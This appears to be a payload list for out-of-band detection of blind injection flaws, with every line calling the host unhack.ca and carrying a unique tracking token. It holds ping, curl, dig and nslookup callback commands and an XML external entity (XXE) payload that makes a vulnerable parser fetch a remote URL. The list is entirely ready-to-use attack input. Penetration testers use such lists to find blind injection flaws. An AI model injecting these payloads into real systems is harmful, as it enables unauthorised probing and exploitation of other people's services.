$ ping -c1 -p 00a53577914c43465422fc3720345c00 unhack.ca
 

$ curl http://unhack.ca/p/a53577914c43465422fc3720345c
 

$ dig a53577914c43465422fc3720345c @unhack.ca
 

$ dig a53577914c43465422fc3720345c.ns.unhack.ca
 

C:\> nslookup a53577914c43465422fc3720345c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a53577914c43465422fc3720345c">]>
    <foo>&xxe;</foo>